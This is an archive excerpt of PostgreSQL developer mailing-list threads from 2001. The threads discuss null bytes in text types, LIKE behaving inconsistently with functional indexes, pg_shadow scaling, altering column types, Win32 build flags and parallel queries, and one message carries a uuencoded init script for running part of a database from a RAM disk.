"msg_contents": "Tom Lane wrote:\n> \n> Hannu Krosing <hannu@tm.ee> writes:\n> > Is there no simple (i.e. cheap) way to disallow \\0 alltogether for\n> > these types then ?\n> > perhaps just strip them out in textin() (or is it text_in()) ?\n> \n> They *are* stripped out in textin(), by virtue of the fact that\n> textin expects to see a null-terminated input string.\n\nOk, I was mistaken to think that pg_trigger.tgargs contained real \\0's \nand not fakes and I was able to get similar output from other char \ntypes by using \\\\000 - You never can tell how many \\\\\\\\ are required to \ninput a single \\ to next level.\n\nAlso I remember being told that bytea _can_ hold embedded \\0, no ?\n \n> > Should we not examine \"the _possible_ outputs of every C-coded function\n> > to make sure it produces a valid value of the datatype\" ;)\n> \n> Go for it.\n> \n> Possibly chr() should reject chr(0) ...\n\nthere is no function chr() at least in 7.0.2. \n\nand char is not usable from psql (gives out strange errors);\n\nhannu=# select char(0);\nERROR: length for type 'bpchar' must be at least 1\nhannu=# select char(32);\nERROR: parser: parse error at or near \";\"\nhannu=# select char('a');\nERROR: parser: parse error at or near \"'\"\n\ncould it be possible somehow distinguish between user callable (safe) \nfunctions and \"internal\" ones ?\n\n------------\nHannu\n",
"msg_date": "Sun, 04 Feb 2001 23:49:55 +0200",
"msg_from": "Hannu Krosing <hannu@tm.ee>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing"
},
{
"msg_contents": "Hannu Krosing <hannu@tm.ee> writes:\n> Also I remember being told that bytea _can_ hold embedded \\0, no ?\n\nYes. What has that got to do with text et al?\n\n>> Possibly chr() should reject chr(0) ...\n>\n> there is no function chr() at least in 7.0.2. \n\nI think it used to be called ichar(), but then someone pointed out that\nOracle calls it chr().\n\n> and char is not usable from psql (gives out strange errors);\n\nchar(n) is a type name, not a function call.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 05 Feb 2001 00:20:31 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing "
},
{
"msg_contents": "Tom Lane wrote:\n> \n> Hannu Krosing <hannu@tm.ee> writes:\n> > Also I remember being told that bytea _can_ hold embedded \\0, no ?\n> \n> Yes. What has that got to do with text et al?\n> \n> >> Possibly chr() should reject chr(0) ...\n> >\n> > there is no function chr() at least in 7.0.2.\n> \n> I think it used to be called ichar(), but then someone pointed out that\n> Oracle calls it chr().\n> \n> > and char is not usable from psql (gives out strange errors);\n> \n> char(n) is a type name, not a function call.\n\n\\df list it as a function call taking either bpchar or text argument.\n\n\nhannu=# \\df\n List of functions\n Result | Function | \nArguments \n---------------------+----------------------+------------------------------------------\n...\n char | char | bpchar \n char | char | text \n...\n\n\nMaybe the cast functions (named similar to types) should be removed from\n\\df output \nor at least marked as such, also in pg_proc?\n\n------------\nHannu\n",
"msg_date": "Mon, 05 Feb 2001 09:38:30 +0200",
"msg_from": "Hannu Krosing <hannu@tm.ee>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing"
}
] |
[
{
"msg_contents": "I'd like to keep a complete history of everything that users of the\nsystem does from the database level (as there are a number of\napplications, and backend workers). I've done this through various\nrules, triggers.\n\nThe next step is to try to tie a name to it. getpgusername() supplies\nthat perfectly. The real question is, how many users can be in\npg_shadow without the system thrashing.\n\nWe're looking to start with approx. 20 000, and will likely grow that\nnumber to 100k users in a years time (I understand a goal for 7.2 is\nto get rid of the OID limit :).\n\nWill pg_shadow and the database in general barf with that number of\nusers in the database? A limit of 40 simultaneous connections should\nsuffice for our needs as user sessions will be quite short.\n\nI also want to FOREIGN KEY the usename column in pg_shadow, I'll\nassume that adding a unique index won't hurt anything (as I've not\nnoticed any problems on the test system thus far).\n\nThanks for any input.\n\n--\nRod Taylor\n\nThere are always four sides to every story: your side, their side, the\ntruth, and what really happened.",
"msg_date": "Tue, 30 Jan 2001 14:24:23 -0500",
"msg_from": "\"Rod Taylor\" <rod.taylor@inquent.com>",
"msg_from_op": true,
"msg_subject": "pg_shadow overusage"
},
{
"msg_contents": "My mistake. The index on pg_shadow breaks nearly everything. I can\nhave triggers maintain this effectively enough for my needs however.\n\nHowever, whether or not the number of users I want to add is going to\nbe too much is still a question.\n\n\n--\nRod Taylor\n\nThere are always four sides to every story: your side, their side, the\ntruth, and what really happened.\n----- Original Message -----\nFrom: \"Rod Taylor\" <rod.taylor@inquent.com>\nTo: \"Hackers List\" <pgsql-hackers@postgresql.org>\nSent: Tuesday, January 30, 2001 2:24 PM\nSubject: [HACKERS] pg_shadow overusage\n\n\n> I'd like to keep a complete history of everything that users of the\n> system does from the database level (as there are a number of\n> applications, and backend workers). I've done this through various\n> rules, triggers.\n>\n> The next step is to try to tie a name to it. getpgusername()\nsupplies\n> that perfectly. The real question is, how many users can be in\n> pg_shadow without the system thrashing.\n>\n> We're looking to start with approx. 20 000, and will likely grow\nthat\n> number to 100k users in a years time (I understand a goal for 7.2 is\n> to get rid of the OID limit :).\n>\n> Will pg_shadow and the database in general barf with that number of\n> users in the database? A limit of 40 simultaneous connections\nshould\n> suffice for our needs as user sessions will be quite short.\n>\n> I also want to FOREIGN KEY the usename column in pg_shadow, I'll\n> assume that adding a unique index won't hurt anything (as I've not\n> noticed any problems on the test system thus far).\n>\n> Thanks for any input.\n>\n> --\n> Rod Taylor\n>\n> There are always four sides to every story: your side, their side,\nthe\n> truth, and what really happened.\n>\n\n",
"msg_date": "Tue, 30 Jan 2001 15:01:02 -0500",
"msg_from": "\"Rod Taylor\" <rod.taylor@inquent.com>",
"msg_from_op": true,
"msg_subject": "Re: pg_shadow overusage"
}
] |
[
{
"msg_contents": "Hello,\n\ni would like to alter the column type which has exist in\nthe table, i can't find anything about that, can anybody help me?\n \n\n-- \nBest regards,\n anson mailto:anson_tsai@sina.com\n\n\n\n",
"msg_date": "Wed, 31 Jan 2001 09:54:08 +0800",
"msg_from": "anson <anson_tsai@sina.com>",
"msg_from_op": true,
"msg_subject": "alter the column type"
},
{
"msg_contents": "> i would like to alter the column type which has exist in\n> the table, i can't find anything about that, can anybody help me?\n\nTo effectively alter the type of a column, you must do a \"create\ntable\"/\"insert into\"/\"create table as\" combination to make an\nintermediate temporary table with the correct type (of course, other\npermutations of commands can give the desired result also).\n\n - Thomas\n",
"msg_date": "Tue, 06 Feb 2001 04:51:51 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: alter the column type"
}
] |
[
{
"msg_contents": "\n> I am reposting this because I'm not sure it actually\n> made it to the list.\n\nIt did make it to the list, but can you give more details whether or which of the \nfollowing you use:\n\t--enable-locale ?\n\t--enable-multibyte ?\n\tLANG=?\n\tLC_COLLATE=?\n\n> I have a function to transform text into a\n> pseudo-metaphone variable, take this example:\n\n> Here is the problem: Depending on whether there is an\n> index or not, 'like' behaves differently. Here is a\n> transcript:\n> \n> cddbsql=# select song, metatext(song) from cdsongs\n> where metatext(song) like metatext('born to run')\n> limit 1 ;\n> song | metatext\n> -------------+----------\n> Born To Run | brntorn\n> (1 row)\n> \n> cddbsql=# create index cdsongs_meta_song on cdsongs\n> (metatext(song)) ;\n> CREATE\n> cddbsql=# select song, metatext(song) from cdsongs\n> where metatext(song) like metatext('born to run')\n> limit 1 ;\n> song | metatext\n> ------+----------\n> (0\n> rows)\n\nWhile I do see, that this is bogous, I do not really understand why you \nuse like in this case when your metatext function does not return any \nwildcards. A simple = should lead to the same result. Can you check that\nwith the index in place ? \n\nAndreas\n\n> \n> \n> This happens in both 7.0 and 7.1.\n",
"msg_date": "Wed, 31 Jan 2001 09:30:27 +0100",
"msg_from": "Zeugswetter Andreas SB <ZeugswetterA@wien.spardat.at>",
"msg_from_op": true,
"msg_subject": "AW: Like vs '=' bug with indexing"
}
] |
[
{
"msg_contents": "Yes. You applied my patch for it on the 27th.\n\n//Magnus\n\n> -----Original Message-----\n> From: Bruce Momjian [mailto:pgman@candle.pha.pa.us]\n> Sent: den 25 januari 2001 04:33\n> To: Magnus Hagander\n> Cc: 'Tom Lane'; Zeugswetter Andreas SB; 'pgsql-hackers@postgresql.org'\n> Subject: [HACKERS] 7.1 question\n> \n> \n> \n> Magnus, is this done?\n> \n> > > Zeugswetter Andreas SB <ZeugswetterA@wien.spardat.at> writes:\n> > > > It is possible to make the above work (at least on MSVC).\n> > > > The switch is /MD that needs to be used for both the \n> psql.exe and\n> > > > libpq.dll. This forces the use of Multithreaded DLL runtime\n> > > libraries.\n> > >\n> > > I like this answer. We should be trying to make the \n> Win32 environment\n> > > more like Unix, rather than catering to its gratuitous \n> differences.\n> >\n> > Definitly, me too. I'll try this as soon as I get time on \n> it, and update my\n> > patch with it. Unless somebody beats me to it, that is.\n> >\n> > //Magnus\n> >\n> \n> \n> --\n> Bruce Momjian | http://candle.pha.pa.us\n> pgman@candle.pha.pa.us | (610) 853-3000\n> + If your life is a hard drive, | 830 Blythe Avenue\n> + Christ can be your backup. | Drexel Hill, \n> Pennsylvania 19026\n> \n",
"msg_date": "Wed, 31 Jan 2001 11:18:55 +0100",
"msg_from": "Magnus Hagander <mha@sollentuna.net>",
"msg_from_op": true,
"msg_subject": "RE: 7.1 question"
}
] |
[
{
"msg_contents": "\n> > > I am reposting this because I'm not sure it actually\n> > > made it to the list.\n> > \n> > It did make it to the list, but can you give more\n> > details whether or which of the \n> > following you use:\n> > \t--enable-locale ?\n> > \t--enable-multibyte ?\n> > \tLANG=?\n> > \tLC_COLLATE=?\n> \n> I did not change any of the language or local\n> information. My config like is:\n> \n> ./configure --with-tcl --with-odbc\n> --with-maxbackends=128 --prefix=/usr/local/pgsql \n> \n> > \n> > > I have a function to transform text into a\n> > > pseudo-metaphone variable, take this example:\n> > \n> > > Here is the problem: Depending on whether there is\n> > an\n> > > index or not, 'like' behaves differently. Here is\n> > a\n> > > transcript:\n> > > \n> > > cddbsql=# select song, metatext(song) from cdsongs\n> > > where metatext(song) like metatext('born to run')\n> > > limit 1 ;\n> > > song | metatext\n> > > -------------+----------\n> > > Born To Run | brntorn\n> > > (1 row)\n> > > \n> > > cddbsql=# create index cdsongs_meta_song on\n> > cdsongs\n> > > (metatext(song)) ;\n> > > CREATE\n> > > cddbsql=# select song, metatext(song) from cdsongs\n> > > where metatext(song) like metatext('born to run')\n> > > limit 1 ;\n> > > song | metatext\n> > > ------+----------\n> > > (0\n> > > rows)\n> > \n> > While I do see, that this is bogous, I do not really understand why you \n> > use like in this case when your metatext function does not return any \n> > wildcards. A simple = should lead to the same result. Can you check that\n> > with the index in place ? \n> \n> Oddly enough when I use '=' it works, but adding that\n> means I have to special case when someone adds '%' at\n> the end of the word, which means I will have to parse\n> the string comming in. If I add the '%' sign to all\n> queries, then I will not get the results intended.\n\nAh, I wonder wether it might be trailing blanks, that are involved here.\nIs your return type of metatext() sql type text ? text and varchar are trailing\nblank sensitive. Still sounds strange, that the seq scan ind index scan behaviors \nare different.\n\n> > > This happens in both 7.0 and 7.1.\n",
"msg_date": "Wed, 31 Jan 2001 14:07:09 +0100",
"msg_from": "Zeugswetter Andreas SB <ZeugswetterA@wien.spardat.at>",
"msg_from_op": true,
"msg_subject": "AW: AW: Like vs '=' bug with indexing"
},
{
"msg_contents": "--- Zeugswetter Andreas SB\n<ZeugswetterA@wien.spardat.at> wrote:\n> \n> > > > I am reposting this because I'm not sure it\n> actually\n> > > > made it to the list.\n> > > \n> > > It did make it to the list, but can you give\n> more\n> > > details whether or which of the \n> > > following you use:\n> > > \t--enable-locale ?\n> > > \t--enable-multibyte ?\n> > > \tLANG=?\n> > > \tLC_COLLATE=?\n> > \n> > I did not change any of the language or local\n> > information. My config like is:\n> > \n> > ./configure --with-tcl --with-odbc\n> > --with-maxbackends=128 --prefix=/usr/local/pgsql \n> > \n> > > \n> > > > I have a function to transform text into a\n> > > > pseudo-metaphone variable, take this example:\n> > > \n> > > > Here is the problem: Depending on whether\n> there is\n> > > an\n> > > > index or not, 'like' behaves differently. Here\n> is\n> > > a\n> > > > transcript:\n> > > > \n> > > > cddbsql=# select song, metatext(song) from\n> cdsongs\n> > > > where metatext(song) like metatext('born to\n> run')\n> > > > limit 1 ;\n> > > > song | metatext\n> > > > -------------+----------\n> > > > Born To Run | brntorn\n> > > > (1 row)\n> > > > \n> > > > cddbsql=# create index cdsongs_meta_song on\n> > > cdsongs\n> > > > (metatext(song)) ;\n> > > > CREATE\n> > > > cddbsql=# select song, metatext(song) from\n> cdsongs\n> > > > where metatext(song) like metatext('born to\n> run')\n> > > > limit 1 ;\n> > > > song | metatext\n> > > > ------+----------\n> > > > (0\n> > > > rows)\n> > > \n> > > While I do see, that this is bogous, I do not\n> really understand why you \n> > > use like in this case when your metatext\n> function does not return any \n> > > wildcards. A simple = should lead to the same\n> result. Can you check that\n> > > with the index in place ? \n> > \n> > Oddly enough when I use '=' it works, but adding\n> that\n> > means I have to special case when someone adds '%'\n> at\n> > the end of the word, which means I will have to\n> parse\n> > the string comming in. If I add the '%' sign to\n> all\n> > queries, then I will not get the results intended.\n> \n> Ah, I wonder wether it might be trailing blanks,\n> that are involved here.\n> Is your return type of metatext() sql type text ?\n> text and varchar are trailing\n> blank sensitive. Still sounds strange, that the seq\n> scan ind index scan behaviors \n> are different.\n\nThat doesn't make sense, if there were trailing\nblanks, '=' would not work. Also, since the same\nfunction is being used on both ends, one presumes that\nany trailing blanks would also be present on each. Why\nwould spaces kill a 'like' during and index scan, but\nnot during a table scan?\n\n\n> \n> > > > This happens in both 7.0 and 7.1.\n\n\n__________________________________________________\nGet personalized email addresses from Yahoo! Mail - only $35 \na year! http://personal.mail.yahoo.com/\n",
"msg_date": "Wed, 31 Jan 2001 05:18:27 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": false,
"msg_subject": "Re: AW: AW: Like vs '=' bug with indexing"
}
] |
[
{
"msg_contents": "All, \n\nHow hard would it be to get a back end to hand off parts of a query tree to\nother back ends (which it created), and then collate the results, and take\nit from there? Obviously, it would only do this under certain conditions,\nspecifically, if it was compiled in to the server, and the query tree in\nquestion had a particular profile, i.e.: lent itself to parallel processing.\nBut surely it couldn't be that difficult to get a back end to hand off, say,\na sub-select sub-tree, or UNION sub-trees. Under heavy loads with the right\nhardware, this could gain significant performance improvement.\n\n\nMichael Ansley\n\n\n\n**********************************************************************\nThis email and any files transmitted with it are confidential and\nintended solely for the use of the individual or entity to whom they\nare addressed. If you have received this email in error please notify\nNick West - Global Infrastructure Manager.\n\nThis footnote also confirms that this email message has been swept by\nMIMEsweeper for the presence of computer viruses.\n\nwww.mimesweeper.com\n**********************************************************************\n\n\n\n\n\nParallel queries\n\n\nAll, \n\nHow hard would it be to get a back end to hand off parts of a query tree to other back ends (which it created), and then collate the results, and take it from there? Obviously, it would only do this under certain conditions, specifically, if it was compiled in to the server, and the query tree in question had a particular profile, i.e.: lent itself to parallel processing. But surely it couldn't be that difficult to get a back end to hand off, say, a sub-select sub-tree, or UNION sub-trees. Under heavy loads with the right hardware, this could gain significant performance improvement.\n\nMichael Ansley\n\n\n\n**********************************************************************\nThis email and any files transmitted with it are confidential and\nintended solely for the use of the individual or entity to whom they\nare addressed. If you have received this email in error please notify\nNick West - Global Infrastructure Manager.\n\nThis footnote also confirms that this email message has been swept by\nMIMEsweeper for the presence of computer viruses.\n\nwww.mimesweeper.com\n**********************************************************************",
"msg_date": "Wed, 31 Jan 2001 14:18:57 -0000",
"msg_from": "Michael Ansley <Michael.Ansley@intec-telecom-systems.com>",
"msg_from_op": true,
"msg_subject": "Parallel queries"
},
{
"msg_contents": "> How hard would it be to get a back end to hand off parts of a query\n> tree to other back ends (which it created), and then collate the\n> results, and take it from there? Obviously, it would only do this\n> under certain conditions, specifically, if it was compiled in to the\n> server, and the query tree in question had a particular profile, i.e.:\n> lent itself to parallel processing. But surely it couldn't be that\n> difficult to get a back end to hand off, say, a sub-select sub-tree,\n> or UNION sub-trees. Under heavy loads with the right hardware, this\n> could gain significant performance improvement.\n\nRight. This would help speed up some single-client queries on SMP\nmachines (we already scale will with multiple clients on SMP machines).\nThis could perhaps be solved by threading each client backend, or, as\nyou suggest, by spawning entirely new processes (which would easily ??\ngeneralize into distributed database support). Bring it up after 7.1 is\nreleased (though there may be enough hoops to jump through that it would\nnot be in 7.2; not certain yet).\n\nAll imho of course, though we've had a few discussions off-list to help\nget us thinking about it for planning purposes.\n\nI would assume that it will take a few folks working together to get\nthis to fly, but feel free to give it a go on your own.\n\n - Thomas\n",
"msg_date": "Tue, 06 Feb 2001 05:02:55 +0000",
"msg_from": "Thomas Lockhart <lockhart@alumni.caltech.edu>",
"msg_from_op": false,
"msg_subject": "Re: Parallel queries"
}
] |
[
{
"msg_contents": "\n> Currently, we have been having a problem with some kind of corruption of\n> the pg_database file. We are using the database on a limited number of\n> writes storage medium. (Compact Flash Card) So that we don't always\n> write to the flash, and because we don't care about some of the data, part\n> of the database is kept in RAM on a ram file system. We have two\n> databases on disk. One database called config, the other the standard\n> template1. These are kept in /var/lib/pgsql_base_slave. We have a\n> properly init'ed database in /var/lib/pgsql/. When postgresql starts up\n> via the init scripts, we create a RAM file system on /var/lib/pgsql/base/,\n> and then we create symlinks to the config and template1 databases.\n> \n> \tThe next set of steps is where we sometimes run into trouble. At\n> this point in the init script, we start up the postmaster. Next we do a\n> createdb products, where products is the actual name of the database. \n> This works fine. Next, we attempt to access the database using psql to\n> create a set of tables. This is where sometimes we run into a problem. \n> Normally, this works fine, but sometimes we get the error \n> \n> \"Database 'products', OID nnn, has disappeared from pg_database\"\n> \n> where nnn is some number, and forever afterwards we can't access a\n> database with that name. Removing and recreating the database doesn't\n> help. Neither does vacuuming it. If we delete the whole pgsql directory,\n> and recreate it, then use initdb on it, everything is fresh and working\n> again, but obviously this isn't a good solution, since we have to recreate\n> all the databases, tables, and data.\n> \n> \tOn the shutdown side, we do a deletedb to remove the products\n> database before we shutdown the postmaster. Once that is complete, we do\n> a shutdown.\n> \n> If you need a short list of the startup procedure that is above, here it\n> is in a psuedocode fashion.\n> \n> mount ram drive.\n> make symlinks to config and template1 databases\n> startup postmaster\n> createdb products\n> create some tables in products\n> \n> ... normal operation ...\n> \n> ... shutdown process\n> dropdb products\n> shutdown postmaster.\n> \n> \n> \tI am assuming that some kind of corruption has occured within\n> pg_database file, but I don't have the expertise to find where the problem\n> is occuring. Any help you can provide would be greatly appreciated.\n> \n> \tI am including the init script used.\n> <<postgresql.txt>> \n> \n> Sandy Barnes\n> Honeywell\n> Business & General Aviation Engineering\n> One Technology Center\n> 23500 West 105th Street\n> Olathe, KS. 66061\n> tel 913.712.2027\n> fax 913.712.1347\n> email sandy.barnes@honeywell.com\n> \n\nbegin 600 postgresql\nM(R$@+V)I;B]S:`HC('!O<W1G<F5S<6P)5&AI<R!I<R!T:&4@:6YI=\"!S8W)I\nM<'0@9F]R('-T87)T:6YG('5P('1H92!0;W-T9W)E4U%,\"B,)\"7-E<G9E<@H*\nM(R!697)S:6]N(#8N-2XS+3(@3&%M87(@3W=E;@HC($%D9&5D(&-O9&4@=&\\@\nM9&5T97)M:6YE(&EF(%!'1$%402!E>&ES=',L('=H971H97(@:70@:7,@8W5R\nM<F5N=\"!V97)S:6]N\"B,@(\"`@(&]R(&YO=\"P@86YD(&EN:71D8B!I9B!N;R!0\nM1T1!5$$@*&EN:71D8B!W:6QL(&YO=\"!O=F5R=W)I=&4@82!D871A8F%S92DN\nM\"@HC(%9E<G-I;VX@-RXP($QA;7(@3W=E;@HC($%D9&5D(&QO9V=I;F<@8V]D\nM90HC($-H86YG960@4$=$051!+@H*(R!C:&MC;VYF:6<Z(#,T-2`X-2`Q-0HC\nM(&1E<V-R:7!T:6]N.B!3=&%R=',@86YD('-T;W!S('1H92!0;W-T9W)E4U%,\nM(&)A8VME;F0@9&%E;6]N('1H870@:&%N9&QE<R!<\"B,)(\"`@(\"`@(&%L;\"!D\nM871A8F%S92!R97%U97-T<RX*(R!P<F]C97-S;F%M93H@<&]S=&UA<W1E<@HC\nM('!I9&9I;&4Z(\"]V87(O<G5N+W!O<W1M87-T97(N<&ED\"B,*\"B,@4V]U<F-E\nM(&9U;F-T:6]N(&QI8G)A<GDN\"BX@+V5T8R]R8RYD+VEN:70N9\"]F=6YC=&EO\nM;G,*\"B,@1V5T(&-O;F9I9RX*+B`O971C+W-Y<V-O;F9I9R]N971W;W)K\"@HC\nM($-H96-K('1H870@;F5T=V]R:VEN9R!I<R!U<\"X*(R!0<F5T='D@;75C:\"!N\nM965D(&ET(&9O<B!P;W-T;6%S=&5R+@I;(\"1[3D545T]22TE.1WT@/2`B;F\\B\nM(%T@)B8@97AI=\"`P\"@I;(\"UF(\"]U<W(O;&]C86PO<&=S<6PO8FEN+W!O<W1M\nM87-T97(@72!\\?\"!E>&ET(#`*\"B,@5&AI<R!S8W)I<'0@:7,@<VQI9VAT;'D@\nM=6YU<W5A;\"!I;B!T:&%T('1H92!N86UE(&]F('1H92!D865M;VX@*'!O<W1M\nM87-T97(I\"B,@:7,@;F]T('1H92!S86UE(&%S('1H92!N86UE(&]F('1H92!S\nM=6)S>7-T96T@*'!O<W1G<F5S<6PI\"@H*\"@HC(%-E92!H;W<@=V4@=V5R92!C\nM86QL960N\"F-A<V4@(B0Q(B!I;@H@('-T87)T*0H*\"@EE8VAO(\"UN(\")#:&5C\nM:VEN9R!P;W-T9W)E<W%L(&EN<W1A;&QA=&EO;CH@(B`*\"@DC\"@DC\"@DC(\"!-\nM;W5N=\"!O=7(@8F%S92!204T@1')I=F4*\"2,*\"2,*\"2,*\"@ED9\"!I9CTO9&5V\nM+WIE<F\\@;V8]+V1E=B]R86TQ(&)S/3%K(&-O=6YT/30P.38*\"6UK93)F<R`M\nM=FTP(\"]D978O<F%M,2`T,#DV\"@EM;W5N=\"`O9&5V+W)A;3$@+W9A<B]L:6(O\nM<&=S<6PO8F%S92\\*\"6-H;W=N('!O<W1G<F5S+G!O<W1G<F5S(\"]V87(O;&EB\nM+W!G<W%L+V)A<V4*\"2,*\"2,*\"2,@0W)E871E('-Y;6)O;&EC(&QI;FMS('1O\nM('1H92!A<'!R;W!R:6%T92!D871A8F%S97,*\"2,@=&AA=\"!A<F4@(G-U<'!O\nM<V5D(B!T;R!B92!U;F1E<B!T:&4@8F%S92!D:7)E8W1O<GDN\"@DC\"@DC\"@EL\nM;B`M<R`O=F%R+VQI8B]P9W-Q;%]B87-E7W-L879E+V-O;F9I9R`O=F%R+VQI\nM8B]P9W-Q;\"]B87-E+V-O;F9I9PH);&X@+7,@+W9A<B]L:6(O<&=S<6Q?8F%S\nM95]S;&%V92]T96UP;&%T93$@+W9A<B]L:6(O<&=S<6PO8F%S92]T96UP;&%T\nM93$*\"6QN(\"US(\"]V87(O;&EB+W!G<W%L7V)A<V5?<VQA=F4O<&]S=&=R97,@\nM+W9A<B]L:6(O<&=S<6PO8F%S92]P;W-T9W)E<PH)8VAO=VX@<&]S=&=R97,N\nM<&]S=&=R97,@+W9A<B]L:6(O<&=S<6PO8F%S92\\J\"@H)(R!#:&5C:R!F;W(@\nM;VQD97(@4$=$051!(&QO8V%T:6]N+@H):68@6R`M9B`O=F%R+VQI8B]P9W-Q\nM;\"]01U]615)324].(%T@)B8@6R`M9\"`O=F%R+VQI8B]P9W-Q;\"]B87-E+W1E\nM;7!L871E,2!=\"@ET:&5N\"@D)97AP;W)T(%!'1$%403TO=F%R+VQI8B]P9W-Q\nM;`H)96QS90H)\"65X<&]R=\"!01T1!5$$]+W9A<B]L:6(O<&=S<6PO9&%T80H)\nM9FD*\"@DC($-H96-K(&9O<B!T:&4@4$=$051!('-T<G5C='5R90H):68@6R`M\nM9B`D4$=$051!+U!'7U9%4E-)3TX@72`F)B!;(\"UD(\"101T1!5$$O8F%S92]T\nM96UP;&%T93$@70H)=&AE;@H)(R!#:&5C:R!V97)S:6]N(&]F(&5X:7-T:6YG\nM(%!'1$%400H*\"0EI9B!;(&!C870@)%!'1$%402]01U]615)324].8\"`A/2`G\nM-RXP)R!=\"@D)=&AE;@H)\"0EE8VAO(\")O;&0@=F5R<VEO;BX@3F5E9\"!T;R!5\nM<&=R861E+B(*\"0D)96-H;R`B4V5E(\"]U<W(O9&]C+W!O<W1G<F5S<6PM-RXP\nM+U)%041-12YR<&T@9F]R(&UO<F4@:6YF;W)M871I;VXN(@H)\"0EE>&ET(#$*\nM\"0EE;'-E\"@D)\"65C:&\\@(FQO;VMS(&=O;V0A(@H)\"69I\"@H)(R!.;R!E>&ES\nM=&EN9R!01T1!5$$A($EN:71D8B!I=\"X*\"@EE;'-E\"@D)96-H;R`B;F\\@9&%T\nM86)A<V4@9FEL97,@9F]U;F0N(@H@(\"`@(\"`@(\"`@(\"`@(\"`@:68@6R`A(\"UD\nM(\"101T1!5$$@70H)\"71H96X*\"0D);6MD:7(@+7`@)%!'1$%400H)\"0EC:&]W\nM;B!P;W-T9W)E<RYP;W-T9W)E<R`D4$=$051!\"@D)9FD*\"0ES=2`M;\"!P;W-T\nM9W)E<R`M8R`G+W5S<B]L;V-A;\"]P9W-Q;\"]B:6XO:6YI=&1B(\"TM<&=L:6(]\nM+W5S<B]L;V-A;\"]P9W-Q;\"]L:6(O(\"TM<&=D871A/2]V87(O;&EB+W!G<W%L\nM+V1A=&$G\"@EF:0H*\"2,@0VAE8VL@9F]R('!O<W1M87-T97(@86QR96%D>2!R\nM=6YN:6YG+BXN\"@EP:60]8'!I9&]F('!O<W1M87-T97)@\"@EI9B!;(\"1P:60@\nM70H)=&AE;@H)\"65C:&\\@(E!O<W1M87-T97(@86QR96%D>2!R=6YN:6YG+B(*\nM\"65L<V4*\"0DC86QL('-Y<W1E;7,@9V\\@+2T@<F5M;W9E(&%N>2!S=&%L92!L\nM;V-K(&9I;&5S\"@D)<FT@+68@+W1M<\"\\N<RY01U-13\"XJ(#X@+V1E=B]N=6QL\nM\"@D)96-H;R`M;B`B4W1A<G1I;F<@<&]S=&=R97-Q;\"!S97)V:6-E.B`B\"@D)\nM<W4@+6P@<&]S=&=R97,@+6,@(B]U<W(O;&]C86PO<&=S<6PO8FEN+W!G7V-T\nM;\"`@+40@)%!'1$%402`M<\"`O=7-R+VQO8V%L+W!G<W%L+V)I;B]P;W-T;6%S\nM=&5R('-T87)T(#XO9&5V+VYU;&P@,CXF,2(*\"0ES;&5E<\"`Q\"@D)<&ED/6!P\nM:61O9B!P;W-T;6%S=&5R8`H)\"6EF(%L@)'!I9\"!=\"@D)=&AE;@H)\"0EE8VAO\nM(\"UN(\")P;W-T;6%S=&5R(%LD<&ED72(*\"0D)=&]U8V@@+W9A<B]L;V-K+W-U\nM8G-Y<R]P;W-T9W)E<W%L\"@D)\"65C:&\\@)'!I9\"`^(\"]V87(O<G5N+W!O<W1M\nM87-T97(N<&ED\"@D)\"65C:&\\*\"0EE;'-E\"@D)\"65C:&\\@(F9A:6QE9\"XB\"@D)\nM9FD*\"69I\"@H)(PH)(PH)(R!.;W<@=V4@8G5I;&0@=&AE('!R;V1U8W1S('1A\nM8FQE<RX*\"2,*\"2,*\"2,*\"2,*\"2,*\"7-U(\"UL('!O<W1G<F5S(\"UC(\"<O=7-R\nM+VQO8V%L+W!G<W%L+V)I;B]D<F]P9&(@<')O9'5C=',G\"@ES=2`M;\"!P;W-T\nM9W)E<R`M8R`G+W5S<B]L;V-A;\"]P9W-Q;\"]B:6XO8W)E871E9&(@<')O9'5C\nM=',G\"@ES;&5E<\"`S\"@ES=2`M;\"!P;W-T9W)E<R`M8R`G+W5S<B]L;V-A;\"]P\nM9W-Q;\"]B:6XO<'-Q;\"!P<F]D=6-T<R`M8R`B0U)%051%(%1!0DQ%('!R;V1U\nM8W0@*'!R;V1U8W1?:60@:6YT-\"!04DE-05)9($M%62P@9&5S=%]A9&1R97-S\nM(&EN=#0L(&5X<&ER871I;VX@:6YT-\"P@<V5N9%]I;G1E<G9A;\"!I;G0T+\"!P\nM<FEO<FET>2!I;G0T*3LB)PH*\"0H)<W4@+6P@<&]S=&=R97,@+6,@)R]U<W(O\nM;&]C86PO<&=S<6PO8FEN+W!S<6P@<')O9'5C=',@+6,@(D-214%412!404),\nM12!A<&1U(\"AA<&1U7VED(&EN=#0@4%))34%262!+15DL('!R;V1U8W1?:60@\nM:6YT-\"P@87!D=5]L96YG=&@@:6YT-\"P@;&%S=%]T>%]T:6UE(&EN=#0L($-/\nM3E-44D%)3E0@8V]N,2!&3U)%24=.($M%62`H<')O9'5C=%]I9\"D@4D5&15)%\nM3D-%4R!P<F]D=6-T*3LB)PH*\"3L[\"B`@<W1O<\"D*\"65C:&\\@+6X@(E-T;W!P\nM:6YG('!O<W1G<F5S<6P@<V5R=FEC93H@(@H*\"@DC\"@DC(%=E(&YE960@=&\\@\nM=VAA8VL@=&AE('!R;V1U8W0@=&%B;&4@8F5F;W)E(&MI;&P@=&AI<R!P<F]C\nM97-S(&]F9BX*\"2,*\"@ES=2`M;\"!P;W-T9W)E<R`M8R`G+W5S<B]L;V-A;\"]P\nM9W-Q;\"]B:6XO9')O<&1B('!R;V1U8W1S)PH*\"6MI;&QP<F]C('!O<W1M87-T\nM97(*\"@DC\"@DC(%1I;64@=&\\@=6YM;W5N=\"!T:&4@8F%S92!D:7)E8W1O<GDN\nM\"@DC\"@DC\"@H)<VQE97`@,PH)=6UO=6YT(\"]V87(O;&EB+W!G<W%L+V)A<V4*\nM\"@H)<VQE97`@,@H)<FT@+68@+W9A<B]R=6XO<&]S=&UA<W1E<BYP:60*\"7)M\nM(\"UF(\"]V87(O;&]C:R]S=6)S>7,O<&]S=&=R97-Q;`H)96-H;PH*\"@D[.PH@\nM('-T871U<RD*\"7-T871U<R!P;W-T;6%S=&5R\"@D[.PH@(')E<W1A<G0I\"@DD\nM,\"!S=&]P\"@DD,